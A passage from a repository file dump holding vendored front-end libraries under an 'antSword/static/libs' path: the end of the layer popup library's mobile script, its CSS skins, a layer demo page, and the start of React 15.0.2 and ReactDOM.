config.success(elem);\n    \n    that.index = index++;\n    that.action(config, elem);\n};\n\nLayer.prototype.action = function(config, elem){\n    var that = this;\n    \n    //自动关闭\n    if(config.time){\n        ready.timer[that.index] = setTimeout(function(){\n            layer.close(that.index);\n        }, config.time*1000);\n    }\n    \n    //关闭按钮\n    if(config.title){\n        var end = elem[claname]('layermend')[0], endfn = function(){\n            config.cancel && config.cancel();\n            layer.close(that.index);\n        };\n        ready.touch(end, endfn);\n    }\n    \n    //确认取消\n    var btn = function(){\n        var type = this.getAttribute('type');\n        if(type == 0){\n            config.no && config.no();\n            layer.close(that.index);\n        } else {\n            config.yes ? config.yes(that.index) : layer.close(that.index);\n        }\n    };\n    if(config.btn){\n        var btns = elem[claname]('layermbtn')[0].children, btnlen = btns.length;\n        for(var ii = 0; ii < btnlen; ii++){\n            ready.touch(btns[ii], btn);\n        }\n    }\n    \n    //点遮罩关闭\n    if(config.shade && config.shadeClose){\n        var shade = elem[claname]('laymshade')[0];\n        ready.touch(shade, function(){\n            layer.close(that.index, config.end);\n        });\n    }\n\n    config.end && (ready.end[that.index] = config.end);\n};\n\nwin.layer = {\n    v: '1.7',\n    index: index,\n    \n    //核心方法\n    open: function(options){\n        var o = new Layer(options || {});\n        return o.index;\n    },\n    \n    close: function(index){\n        var ibox = S('#'+classs[0]+index)[0];\n        if(!ibox) return;\n        ibox.innerHTML = '';\n        doc.body.removeChild(ibox);\n        clearTimeout(ready.timer[index]);\n        delete ready.timer[index];\n        typeof ready.end[index] === 'function' && ready.end[index]();\n        delete ready.end[index]; \n    },\n    \n    //关闭所有layer层\n    closeAll: function(){\n        var boxs = doc[claname](classs[0]);\n        for(var i = 0, len = boxs.length; i < len; i++){\n            layer.close((boxs[0].getAttribute('index')|0));\n        }\n    }\n};\n\n'function' == typeof define ? define(function() {\n    return layer;\n}) : function(){\n    \n    var js = document.scripts, script = js[js.length - 1], jsPath = script.src;\n    var path = jsPath.substring(0, jsPath.lastIndexOf(\"/\") + 1);\n    \n    //如果合并方式，则需要单独引入layer.css\n    if(script.getAttribute('merge')) return; \n    \n    document.head.appendChild(function(){\n        var link = doc.createElement('link');\n        link.href = path + 'need/layer.css';\n        link.type = 'text/css';\n        link.rel = 'styleSheet'\n        link.id = 'layermcss';\n        return link;\n    }());\n    \n}();\n\n}(window);"
  },
  {
    "path": "antSword/static/libs/layer/src/mobile/need/layer.css",
    "content": "﻿/* layer弹层移动版样式 */\n\n.layermbox{position:relative; z-index:19891014;}\n.laymshade,\n.layermmain{position:fixed; left:0; top:0; width:100%; height:100%;}\n.laymshade{background-color:rgba(0,0,0, .5); pointer-events:auto;}\n.layermmain{display:table; font-family: Helvetica, arial, sans-serif; pointer-events: none;}\n.layermmain .section{display:table-cell; vertical-align:middle; text-align:center;}\n.layermchild{position:relative; display:inline-block; text-align:left; background-color:#fff; font-size:14px; border-radius:3px; box-shadow:0 0 8px rgba(0, 0, 0, 0.1);  pointer-events:auto;}\n.layermchild{-webkit-animation-fill-mode: both; animation-fill-mode: both; -webkit-animation-duration: .18s; animation-duration: .18s;}\n.layermborder{border:1px solid #999;}\n@-webkit-keyframes bounceIn { /* 默认 */\n\t0% {\n\t\topacity: 0;\n\t\t-webkit-transform: scale(.5);\n\t\ttransform: scale(.5)\n\t}\n\t100% {\n\t\topacity: 1;\n\t\t-webkit-transform: scale(1);\n\t\ttransform: scale(1)\n\t}\n}\n.layermanim{animation-name: bounceIn; -webkit-animation-name: bounceIn;}\n\n.layermbox0 .layermchild{max-width:90%; min-width:150px;}\n.layermbox1 .layermchild{border:none; border-radius:0;}\n.layermbox2 .layermchild{width:auto; max-width:260px; min-width:40px; border:none; background: none; box-shadow: none; color:#fff;}\n.layermchild h3{padding:0 45px 0 10px; height:50px; line-height:50px; border-bottom:1px solid #EBEBEB; font-size:16px; font-weight:400;  border-radius:3px 3px 0 0; border-bottom:1px solid #EBEBEB;}\n.layermchild h3,\n.layermbtn span{ text-overflow:ellipsis; overflow:hidden; white-space:nowrap;}\n.layermcont{padding:20px 15px; line-height:22px; text-align:center;}\n.layermbox1 .layermcont{padding:0; text-align:left;}\n.layermbox2 .layermcont{text-align:center; padding: 0; line-height: 0;}\n.layermbox2 .layermcont i{width:25px; height:25px; margin-left:8px; display:inline-block; background-color:#fff; border-radius:100%;}\n.layermbox2 .layermcont i{-webkit-animation: bouncedelay 1.4s infinite ease-in-out; animation: bouncedelay 1.4s infinite ease-in-out; -webkit-animation-fill-mode: both; animation-fill-mode: both;}\n@-webkit-keyframes bouncedelay{\n    0%,80%,100%{transform:scale(0); -webkit-transform:scale(0)}\n    40%{transform:scale(1); -webkit-transform:scale(1)}\n}\n@keyframes bouncedelay{\n    0%,80%,100%{transform:scale(0); -webkit-transform:scale(0)}\n    40%{transform:scale(1); -webkit-transform:scale(1)}\n}\n.layermbox2 .layermcont i:first-child{margin-left:0; -webkit-animation-delay: -.32s; animation-delay: -.32s;}\n.layermbox2 .layermcont i.laymloadtwo{-webkit-animation-delay: -.16s; animation-delay: -.16s;}\n.layermbox2 .layermcont>div{line-height:22px; padding-top:7px; margin-bottom:20px; font-size: 14px;}\n.layermbtn{position:relative; height:40px; line-height:40px; font-size:0; text-align:center;  border-top:1px solid #EBEBEB;}\n.layermbtn span{position:relative; display:inline-block; width:50%; text-align:center; font-size:14px; cursor:pointer; border-radius: 0 3px 0 0;}\n.layermbtn span:first-child{height:39px; background-color:#fff; border-radius: 0 0 0 3px;}\n.layermbtn:before{content:'\\20'; position:absolute; width:1px; height:39px; left:50%; top:0; background-color:#EBEBEB;}\n.layermend{position:absolute; right:7px; top:10px; width:30px; height:30px; border: 0; font-weight:400; background: transparent; cursor: pointer; -webkit-appearance: none; font-size:30px;}\n.layermend::before, .layermend::after{position:absolute; left:5px; top:15px; content:''; width:18px; height:1px; background-color:#999; transform:rotate(45deg); -webkit-transform:rotate(45deg); border-radius: 3px;}\n.layermend::after{transform:rotate(-45deg);  -webkit-transform:rotate(-45deg);}\n\n\n"
  },
  {
    "path": "antSword/static/libs/layer/src/skin/layer.css",
    "content": "﻿/*!\n \n @Name: layer's style\n @Author: 贤心\n @Blog： sentsin.com\n \n */\n\n*html{background-image:url(about:blank); background-attachment:fixed;}\nhtml #layui_layer_skinlayercss{display:none; position: absolute; width:1989px;}\n\n/* common */\n.layui-layer-shade, .layui-layer{position:fixed; _position:absolute; pointer-events: auto;}\n.layui-layer-shade{top:0; left:0; width:100%; height:100%; _height:expression(document.body.offsetHeight+\"px\");}\n.layui-layer{top:150px; left:50%; margin:0; padding:0; background-color:#fff; -webkit-background-clip: content; box-shadow: 1px 1px 50px rgba(0,0,0,.3);}\n.layui-layer-close{position:absolute;}\n.layui-layer-content{position:relative;}\n.layui-layer-border{border:1px solid #B2B2B2; border:1px solid rgba(0,0,0,.3); box-shadow: 1px 1px 5px rgba(0,0,0,.2);}\n.layui-layer-moves{position:absolute; border:3px solid #666; border:3px solid rgba(0,0,0,.5); cursor:move; background-color:#fff; background-color:rgba(255,255,255,.3); filter:alpha(opacity=50);}\n.layui-layer-load{background:url(default/loading-0.gif) #fff center center no-repeat;}\n.layui-layer-ico{ background:url(default/icon.png) no-repeat;}\n.layui-layer-dialog .layui-layer-ico,\n.layui-layer-setwin a,\n.layui-layer-btn a{display:inline-block; *display:inline; *zoom:1; vertical-align:top;}\n\n/* 动画 */\n.layui-layer{border-radius: 2px; -webkit-animation-fill-mode: both; animation-fill-mode: both; -webkit-animation-duration:.3s; animation-duration:.3s;}\n\n@-webkit-keyframes bounceIn { /* 默认 */\n\t0% {\n\t\topacity: 0;\n\t\t-webkit-transform: scale(.5);\n\t\ttransform: scale(.5)\n\t}\n\t100% {\n\t\topacity: 1;\n\t\t-webkit-transform: scale(1);\n\t\ttransform: scale(1)\n\t}\n}\n@keyframes bounceIn {\n\t0% {\n\t\topacity: 0;\n\t\t-webkit-transform: scale(.5);\n\t\t-ms-transform: scale(.5);\n\t\ttransform: scale(.5)\n\t}\n\t100% {\n\t\topacity: 1;\n\t\t-webkit-transform: scale(1);\n\t\t-ms-transform: scale(1);\n\t\ttransform: scale(1)\n\t}\n}\n.layui-anim{-webkit-animation-name: bounceIn;animation-name: bounceIn}\n@-webkit-keyframes bounceOut {\n    100% {\n        opacity: 0;\n\t\t-webkit-transform: scale(.7);\n\t\ttransform: scale(.7)\n    }\n    30% {\n        -webkit-transform: scale(1.03);\n        transform: scale(1.03)\n    }\n    0% {\n        -webkit-transform: scale(1);\n        transform: scale(1);\n    }\n}\n@keyframes bounceOut {\n    100% {\n        opacity: 0;\n\t\t-webkit-transform: scale(.7);\n\t\t-ms-transform: scale(.7);\n\t\ttransform: scale(.7)\n    }\n    30% {\n\t\t-webkit-transform: scale(1.03);\n\t\t-ms-transform: scale(1.03);\n\t\ttransform: scale(1.03)\n    }\n    0% {\n\t\t-webkit-transform: scale(1);\n\t\t-ms-transform: scale(1);\n\t\ttransform: scale(1)\n    }\n}\n.layui-anim-close{-webkit-animation-name: bounceOut;animation-name: bounceOut; -webkit-animation-duration:.2s; animation-duration:.2s;}\n\n@-webkit-keyframes zoomInDown{0%{opacity:0;-webkit-transform:scale(.1) translateY(-2000px);transform:scale(.1) translateY(-2000px);-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}60%{opacity:1;-webkit-transform:scale(.475) translateY(60px);transform:scale(.475) translateY(60px);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}}@keyframes zoomInDown{0%{opacity:0;-webkit-transform:scale(.1) translateY(-2000px);-ms-transform:scale(.1) translateY(-2000px);transform:scale(.1) translateY(-2000px);-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}60%{opacity:1;-webkit-transform:scale(.475) translateY(60px);-ms-transform:scale(.475) translateY(60px);transform:scale(.475) translateY(60px);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}}.layui-anim-01{-webkit-animation-name:zoomInDown;animation-name:zoomInDown}\n\n@-webkit-keyframes fadeInUpBig{0%{opacity:0;-webkit-transform:translateY(2000px);transform:translateY(2000px)}100%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@keyframes fadeInUpBig{0%{opacity:0;-webkit-transform:translateY(2000px);-ms-transform:translateY(2000px);transform:translateY(2000px)}100%{opacity:1;-webkit-transform:translateY(0);-ms-transform:translateY(0);transform:translateY(0)}}.layui-anim-02{-webkit-animation-name:fadeInUpBig;animation-name:fadeInUpBig}\n\n@-webkit-keyframes zoomInLeft{0%{opacity:0;-webkit-transform:scale(.1) translateX(-2000px);transform:scale(.1) translateX(-2000px);-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}60%{opacity:1;-webkit-transform:scale(.475) translateX(48px);transform:scale(.475) translateX(48px);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}}@keyframes zoomInLeft{0%{opacity:0;-webkit-transform:scale(.1) translateX(-2000px);-ms-transform:scale(.1) translateX(-2000px);transform:scale(.1) translateX(-2000px);-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}60%{opacity:1;-webkit-transform:scale(.475) translateX(48px);-ms-transform:scale(.475) translateX(48px);transform:scale(.475) translateX(48px);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}}.layui-anim-03{-webkit-animation-name:zoomInLeft;animation-name:zoomInLeft}\n\n@-webkit-keyframes rollIn{0%{opacity:0;-webkit-transform:translateX(-100%) rotate(-120deg);transform:translateX(-100%) rotate(-120deg)}100%{opacity:1;-webkit-transform:translateX(0px) rotate(0deg);transform:translateX(0px) rotate(0deg)}}@keyframes rollIn{0%{opacity:0;-webkit-transform:translateX(-100%) rotate(-120deg);-ms-transform:translateX(-100%) rotate(-120deg);transform:translateX(-100%) rotate(-120deg)}100%{opacity:1;-webkit-transform:translateX(0px) rotate(0deg);-ms-transform:translateX(0px) rotate(0deg);transform:translateX(0px) rotate(0deg)}}.layui-anim-04{-webkit-animation-name:rollIn;animation-name:rollIn}\n\n@keyframes fadeIn{0%{opacity:0}100%{opacity:1}}.layui-anim-05{-webkit-animation-name:fadeIn;animation-name:fadeIn}\n\n@-webkit-keyframes shake{0%,100%{-webkit-transform:translateX(0);transform:translateX(0)}10%,30%,50%,70%,90%{-webkit-transform:translateX(-10px);transform:translateX(-10px)}20%,40%,60%,80%{-webkit-transform:translateX(10px);transform:translateX(10px)}}@keyframes shake{0%,100%{-webkit-transform:translateX(0);-ms-transform:translateX(0);transform:translateX(0)}10%,30%,50%,70%,90%{-webkit-transform:translateX(-10px);-ms-transform:translateX(-10px);transform:translateX(-10px)}20%,40%,60%,80%{-webkit-transform:translateX(10px);-ms-transform:translateX(10px);transform:translateX(10px)}}.layui-anim-06{-webkit-animation-name:shake;animation-name:shake}@-webkit-keyframes fadeIn{0%{opacity:0}100%{opacity:1}}\n\n/* 标题栏 */\n.layui-layer-title{padding:0 80px 0 20px; height:42px; line-height:42px; border-bottom:1px solid #eee; font-size:14px; color:#333; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; background-color: #F8F8F8; border-radius: 2px 2px 0 0;}\n.layui-layer-setwin{position:absolute; right:15px; *right:0; top:15px; font-size:0; line-height: initial;}\n.layui-layer-setwin a{position:relative; width: 16px; height:16px; margin-left:10px; font-size:12px; _overflow:hidden;}\n.layui-layer-setwin .layui-layer-min cite{position:absolute; width:14px; height:2px; left:0; top:50%; margin-top:-1px; background-color:#2E2D3C; cursor:pointer; _overflow:hidden;}\n.layui-layer-setwin .layui-layer-min:hover cite{background-color:#2D93CA; }\n.layui-layer-setwin .layui-layer-max{background-position:-32px -40px;}\n.layui-layer-setwin .layui-layer-max:hover{background-position:-16px -40px;}\n.layui-layer-setwin .layui-layer-maxmin{background-position:-65px -40px;}\n.layui-layer-setwin .layui-layer-maxmin:hover{background-position:-49px -40px;}\n.layui-layer-setwin .layui-layer-close1{background-position:0 -40px; cursor:pointer;}\n.layui-layer-setwin .layui-layer-close1:hover{opacity:0.7;}\n.layui-layer-setwin .layui-layer-close2{position:absolute; right:-28px; top:-28px; width:30px; height:30px;  margin-left:0; background-position:-149px -31px; *right:-18px; _display:none;}\n.layui-layer-setwin .layui-layer-close2:hover{ background-position:-180px -31px;}\n\n/* 按钮栏 */\n.layui-layer-btn{text-align: right; padding:0 10px 12px; pointer-events: auto;}\n.layui-layer-btn a{height: 28px; line-height: 28px; margin: 0 6px; padding: 0 15px; border:1px #dedede solid; background-color:#f1f1f1; color: #333; border-radius: 2px; font-weight:400; cursor:pointer; text-decoration: none;}\n.layui-layer-btn a:hover{opacity:0.9; text-decoration: none;}\n.layui-layer-btn a:active{opacity:0.7;}\n.layui-layer-btn .layui-layer-btn0{border-color: #4898d5; background-color: #2e8ded; color:#fff;}\n\n/* 定制化 */\n.layui-layer-dialog{min-width:260px;}\n.layui-layer-dialog .layui-layer-content{position: relative; padding:20px; line-height:24px; word-break:break-all; overflow:hidden; font-size:14px; overflow:auto;}\n.layui-layer-dialog .layui-layer-content .layui-layer-ico{position:absolute; top:16px; left:15px; _left:-40px; width:30px; height:30px;}\n.layui-layer-ico1{background-position:-30px 0 }\n.layui-layer-ico2{background-position:-60px 0;}\n.layui-layer-ico3{background-position:-90px 0;}\n.layui-layer-ico4{background-position:-120px 0;}\n.layui-layer-ico5{background-position:-150px 0;}\n.layui-layer-ico6{background-position:-180px 0;}\n.layui-layer-rim{border:6px solid #8D8D8D; border:6px solid rgba(0,0,0,.3); border-radius:5px; box-shadow: none;}\n.layui-layer-msg{min-width:180px; border:1px solid #D3D4D3; box-shadow: none;}\n.layui-layer-hui{min-width:100px;  background-color:#000; filter:alpha(opacity=60); background-color: rgba(0,0,0,0.6); color: #fff; border:none;}\n.layui-layer-hui .layui-layer-content{padding:12px 25px; text-align:center;}\n.layui-layer-dialog .layui-layer-padding{padding: 20px 20px 20px 55px; text-align: left;}\n.layui-layer-page .layui-layer-content{position:relative; overflow:auto;}\n.layui-layer-page .layui-layer-btn,.layui-layer-iframe .layui-layer-btn{padding-top:10px;}\n.layui-layer-nobg{background:none;}\n.layui-layer-iframe .layui-layer-content{overflow:hidden;}\n.layui-layer-iframe iframe{display:block; width:100%;}\n.layui-layer-loading{border-radius:100%; background:none;  box-shadow:none;  border:none;}\n.layui-layer-loading .layui-layer-content{width:60px; height:24px; background:url(default/loading-0.gif) no-repeat;}\n.layui-layer-loading .layui-layer-loading1{width:37px; height:37px; background:url(default/loading-1.gif) no-repeat;}\n.layui-layer-loading .layui-layer-loading2, .layui-layer-ico16{width:32px; height:32px; background:url(default/loading-2.gif) no-repeat;}\n.layui-layer-tips{background:none; box-shadow:none; border:none;}\n.layui-layer-tips .layui-layer-content{position:relative; line-height:22px; min-width: 12px; padding:5px 10px; font-size:12px; _float:left; border-radius:3px; box-shadow: 1px 1px 3px rgba(0,0,0,.3); background-color:#FF9900; color:#fff;}\n.layui-layer-tips .layui-layer-close{right:-2px; top:-1px;}\n.layui-layer-tips i.layui-layer-TipsG{ position:absolute;  width:0; height:0; border-width:8px; border-color:transparent; border-style:dashed; *overflow:hidden;}\n.layui-layer-tips i.layui-layer-TipsT, .layui-layer-tips i.layui-layer-TipsB{left:5px; border-right-style:solid; border-right-color:#FF9900;}\n.layui-layer-tips i.layui-layer-TipsT{bottom:-8px;}\n.layui-layer-tips i.layui-layer-TipsB{top:-8px;}\n.layui-layer-tips i.layui-layer-TipsR, .layui-layer-tips i.layui-layer-TipsL{top:1px; border-bottom-style:solid; border-bottom-color:#FF9900;}\n.layui-layer-tips i.layui-layer-TipsR{left:-8px;}\n.layui-layer-tips i.layui-layer-TipsL{right:-8px;}\n\n/* skin */\n.layui-layer-lan[type=\"dialog\"]{min-width:280px;}\n.layui-layer-lan .layui-layer-title{background:#4476A7; color:#fff; border: none;}\n.layui-layer-lan\n.layui-layer-lan .layui-layer-btn{padding:10px; text-align: right; border-top:1px solid #E9E7E7}\n.layui-layer-lan .layui-layer-btn a{background:#BBB5B5; border:none;}\n.layui-layer-lan .layui-layer-btn .layui-layer-btn1{background:#C9C5C5;}\n.layui-layer-molv .layui-layer-title{background:#009f95; color:#fff; border: none;}\n.layui-layer-molv .layui-layer-btn a{background:#009f95;}\n.layui-layer-molv .layui-layer-btn .layui-layer-btn1{background:#92B8B1;}\n"
  },
  {
    "path": "antSword/static/libs/layer/src/skin/layer.ext.css",
    "content": "/*!\n \n @Name: layer拓展样式\n @Date: 2012.12.13\n @Author: 贤心\n @blog: sentsin.com\n \n */\n\n.layui-layer-iconext{background:url(default/icon-ext.png) no-repeat;}\nhtml #layui_layer_skinlayerextcss{display:none; position: absolute; width:1989px;}\n\n/* prompt模式 */\n.layui-layer-prompt .layui-layer-input{display:block; width:220px; height:30px; margin:0 auto; line-height:30px; padding: 0 5px; border: 1px solid #ccc; box-shadow: 1px 1px 5px rgba(0,0,0,.1) inset; color:#333;}\n.layui-layer-prompt textarea.layui-layer-input{width:300px; height:100px; line-height:20px;}\n\n/* tab模式 */\n.layui-layer-tab{box-shadow:1px 1px 50px rgba(0,0,0,.4);}\n.layui-layer-tab .layui-layer-title{padding-left:0; border-bottom:1px solid #ccc; background-color:#eee; overflow: visible;}\n.layui-layer-tab .layui-layer-title span{position:relative; float:left; min-width:80px; max-width:260px; padding:0 20px; text-align:center; cursor:default; text-overflow: ellipsis; overflow: hidden; white-space: nowrap;}\n.layui-layer-tab .layui-layer-title span.layui-layer-tabnow{height:43px; border-left:1px solid #ccc; border-right:1px solid #ccc; background-color:#fff; z-index:10;}\n.layui-layer-tab .layui-layer-title span:first-child{border-left:none;}\n.layui-layer-tabmain{line-height:24px; clear:both;}\n.layui-layer-tabmain .layui-layer-tabli{display:none;}\n.layui-layer-tabmain .layui-layer-tabli.xubox_tab_layer{display:block;}\n.xubox_tabclose{position:absolute; right:10px; top:5px; cursor:pointer;}\n\n/* photo模式 */\n.layui-layer-photos{-webkit-animation-duration:1s; animation-duration:1s; background: url(default/xubox_loading1.gif) center center no-repeat #000;}\n.layui-layer-photos .layui-layer-content{overflow:hidden; text-align: center;}\n.layui-layer-photos .layui-layer-phimg img{position: relative; width:100%; display: inline-block; *display:inline; *zoom:1; vertical-align:top;}\n.layui-layer-imguide,.layui-layer-imgbar{display:none;}\n.layui-layer-imgprev, .layui-layer-imgnext{position:absolute; top:50%; width:27px; _width:44px; height:44px;  margin-top:-22px; outline:none;blr:expression(this.onFocus=this.blur());}\n.layui-layer-imgprev{left:10px; background-position:-5px -5px; _background-position:-70px -5px;}\n.layui-layer-imgprev:hover{background-position:-33px -5px; _background-position:-120px -5px;}\n.layui-layer-imgnext{right:10px; _right:8px; background-position:-5px -50px; _background-position:-70px -50px;}\n.layui-layer-imgnext:hover{background-position:-33px -50px; _background-position:-120px -50px;}\n.layui-layer-imgbar{position:absolute; left:0; bottom:0; width:100%; height:32px; line-height:32px; background-color:rgba(0,0,0,.8); background-color:#000\\9; filter:Alpha(opacity=80); color:#fff; text-overflow: ellipsis; overflow: hidden; white-space: nowrap; font-size:0;}\n.layui-layer-imgtit{/*position:absolute; left:20px;*/}\n.layui-layer-imgtit *{display:inline-block; *display:inline; *zoom:1; vertical-align:top; font-size:12px;}\n.layui-layer-imgtit a{max-width:65%;  text-overflow: ellipsis; overflow: hidden; white-space: nowrap; color:#fff;}\n.layui-layer-imgtit a:hover{color:#fff; text-decoration:underline;}\n.layui-layer-imgtit em{padding-left:10px; font-style: normal;}\n\n"
  },
  {
    "path": "antSword/static/libs/layer/test/demo.html",
    "content": "﻿<!doctype html>\n<html>\n<head>\n<title>layer-更懂你的web弹窗解决方案</title>\n<script src=\"http://lib.sinaapp.com/js/jquery/1.9.1/jquery-1.9.1.min.js\"></script>\n<script src=\"../src/layer.js?v=1.9.0\"></script>\n\n<style>\nhtml{background-color:#E3E3E3; font-size:14px; color:#000; font-family:'微软雅黑'}\na,a:hover{ text-decoration:none;}\npre{font-family:'微软雅黑'}\n.box{padding:20px; background-color:#fff; margin:50px 100px; border-radius:5px;}\n.box a{padding-right:15px;}\n#about_hide{display:none}\n.layer_text{background-color:#fff; padding:20px;}\n.layer_text p{margin-bottom: 10px; text-indent: 2em; line-height: 23px;}\n.button{display:inline-block; *display:inline; *zoom:1; line-height:30px; padding:0 20px; background-color:#56B4DC; color:#fff; font-size:14px; border-radius:3px; cursor:pointer; font-weight:normal;}\n.photos-demo img{width:200px;}\n</style>\n</head>\n<body>\n<div class=\"box\">\n<pre>\n @Name：layer-v<script>document.write(layer.v)</script> 弹层组件说明\n @Author：贤心\n @Blog：<a href=\"http://sentsin.com\" target=\"_blank\">http://sentsin.com</a>\n @Site：<a href=\"http://sentsin.com/jquery/layer/?form=local\"  target=\"_blank\">http://sentsin.com/jquery/layer</a>\n\n\n<strong>【注意事项】</strong>\n一、使用时，请把文件夹layer整个放置在您站点的任何一个目录，只需引入layer.js即可，除jQuery外，其它文件无需再引入。\n二、如果您的js引入是通过合并处理或者您不想采用layer自动获取的绝对路径，您可以通过layer.config()来配置（详见官网API页）\n三、jquery需1.8+\n四、更多使用说明与演示，请参见layer官网。\n五、使用时请务必保留来源，请勿用于违反我国法律的web平台。\n六、layer遵循LGPL协议，将永久性提供无偿服务。版权最终解释权：贤心。\n</pre>\n</div>\n\n<div class=\"box\">\n    <h2 style=\"padding-bottom:20px;\">扩展模块：图片查看器（相册层）</h2>\n    <div id=\"photosDemo\" class=\"photos-demo\">\n        <!-- layer-src表示大图  layer-pid表示图片id  src表示缩略图-->\n        \n        <img layer-src=\"http://static.oschina.net/uploads/space/2014/0516/012728_nAh8_1168184.jpg\" layer-pid=\"\" src=\"http://static.oschina.net/uploads/space/2014/0516/012728_nAh8_1168184.jpg\" alt=\"layer宣传图\">\n        <img layer-src=\"http://sentsin.qiniudn.com/sentsinmy5.jpg\" layer-pid=\"\" src=\"http://sentsin.qiniudn.com/sentsinmy5.jpg\" alt=\"我入互联网这五年\">\n        <img layer-src=\"\" layer-pid=\"\" src=\"http://sentsin.qiniudn.com/sentsin_39101a660cf4671b7ec297a74cc652c74152104f.jpg\" alt=\"微摄影\">\n        <img layer-src=\"http://sentsin.qiniudn.com/sentsinsan01.jpg\" layer-pid=\"\" src=\"http://sentsin.qiniudn.com/sentsinsan01.jpg\" alt=\"三清山\">\n        <img layer-src=\"http://ww2.sinaimg.cn/mw1024/5db11ff4jw1ehcyirr6quj20q00ex42w.jpg\" layer-pid=\"\" src=\"http://ww2.sinaimg.cn/mw1024/5db11ff4jw1ehcyirr6quj20q00ex42w.jpg\" alt=\"国足\">\n    </div>\n\n</div>\n\n\n<div class=\"box\" style=\"text-align:center\">\n    <a href=\"http://sentsin.com/jquery/layer/?form=local\" target=\"_blank\">更多示例</a>\n    <a href=\"http://sentsin.com/jquery/layer/api.html?form=local\" target=\"_blank\">使用文档</a>\n    <a href=\"http://say.sentsin.com/home-48.html?form=local\" id=\"suggest\">交流反馈</a>\n    <a href=\"javascript:;\" id=\"about\">关于</a>\n</div>\n\n<script>\n;!function(){\n\n//加载扩展模块\nlayer.config({\n    extend: 'extend/layer.ext.js'\n});\n\n//页面一打开就执行，放入ready是为了layer所需配件（css、扩展模块）加载完毕\nlayer.ready(function(){ \n    //官网欢迎页\n    layer.open({\n        type: 2,\n        //skin: 'layui-layer-lan',\n        title: 'layer弹层组件',\n        fix: false,\n        shadeClose: true,\n        area: ['1100px', '600px'],\n        content: 'http://sentsin.com/jquery/layer/?form=local',\n        end: function(){\n            layer.tips('试试相册模块？', '#photosDemo', {tips: 1})\n        }\n    });\n    \n    //layer.msg('欢迎使用layer');\n    \n    //使用相册\n    layer.photos({\n        photos: '#photosDemo'\n    });\n});\n\n//关于\n$('#about').on('click', function(){\n    layer.alert(layer.v + ' - 贤心出品 sentsin.com');\n});\n\n}();\n</script>\n</body>\n</html>"
  },
  {
    "path": "antSword/static/libs/react/react-dom.js",
    "content": "/**\n * ReactDOM v15.0.2\n *\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n */\n// Based off https://github.com/ForbesLindesay/umd/blob/master/template.js\n;(function(f) {\n  // CommonJS\n  if (typeof exports === \"object\" && typeof module !== \"undefined\") {\n    module.exports = f(require('react'));\n\n  // RequireJS\n  } else if (typeof define === \"function\" && define.amd) {\n    define(['react'], f);\n\n  // <script>\n  } else {\n    var g;\n    if (typeof window !== \"undefined\") {\n      g = window;\n    } else if (typeof global !== \"undefined\") {\n      g = global;\n    } else if (typeof self !== \"undefined\") {\n      g = self;\n    } else {\n      // works providing we're not in \"use strict\";\n      // needed for Java 8 Nashorn\n      // see https://github.com/facebook/react/issues/3037\n      g = this;\n    }\n    g.ReactDOM = f(g.React);\n  }\n\n})(function(React) {\n  return React.__SECRET_DOM_DO_NOT_USE_OR_YOU_WILL_BE_FIRED;\n});\n"
  },
  {
    "path": "antSword/static/libs/react/react.js",
    "content": " /**\n  * React v15.0.2\n  */\n(function(f){if(typeof exports===\"object\"&&typeof module!==\"undefined\"){module.exports=f()}else if(typeof define===\"function\"&&define.amd){define([],f)}else{var g;if(typeof window!==\"undefined\"){g=window}else if(typeof global!==\"undefined\"){g=global}else if(typeof self!==\"undefined\"){g=self}else{g=this}g.React = f()}})(function(){var define,module,exports;return (function e(t,n,r){function s(o,u){if(!n[o]){if(!t[o]){var a=typeof require==\"function\"&&require;if(!u&&a)return a(o,!0);if(i)return i(o,!0);var f=new Error(\"Cannot find module '\"+o+\"'\");throw f.code=\"MODULE_NOT_FOUND\",f}var l=n[o]={exports:{}};t[o][0].call(l.exports,function(e){var n=t[o][1][e];return s(n?n:e)},l,l.exports,e,t,n,r)}return n[o].exports}var i=typeof require==\"function\"&&require;for(var o=0;o<r.length;o++)s(r[o]);return s})({1:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule AutoFocusUtils\n */\n\n'use strict';\n\nvar ReactDOMComponentTree = _dereq_(40);\n\nvar focusNode = _dereq_(152);\n\nvar AutoFocusUtils = {\n  focusDOMComponent: function () {\n    focusNode(ReactDOMComponentTree.getNodeFromInstance(this));\n  }\n};\n\nmodule.exports = AutoFocusUtils;\n},{\"152\":152,\"40\":40}],2:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule BeforeInputEventPlugin\n */\n\n'use strict';\n\nvar EventConstants = _dereq_(16);\nvar EventPropagators = _dereq_(20);\nvar ExecutionEnvironment = _dereq_(144);\nvar FallbackCompositionState = _dereq_(21);\nvar SyntheticCompositionEvent = _dereq_(101);\nvar SyntheticInputEvent = _dereq_(105);\n\nvar keyOf = _dereq_(162);\n\nvar END_KEYCODES = [9, 13, 27, 32]; // Tab, Return, Esc, Space\nvar START_KEYCODE = 229;\n\nvar canUseCompositionEvent = ExecutionEnvironment.canUseDOM && 'CompositionEvent' in window;\n\nvar documentMode = null;\nif (ExecutionEnvironment.canUseDOM && 'documentMode' in document) {\n  documentMode = document.documentMode;\n}\n\n// Webkit offers a very useful `textInput` event that can be used to\n// directly represent `beforeInput`. The IE `textinput` event is not as\n// useful, so we don't use it.\nvar canUseTextInputEvent = ExecutionEnvironment.canUseDOM && 'TextEvent' in window && !documentMode && !isPresto();\n\n// In IE9+, we have access to composition events, but the data supplied\n// by the native compositionend event may be incorrect. Japanese 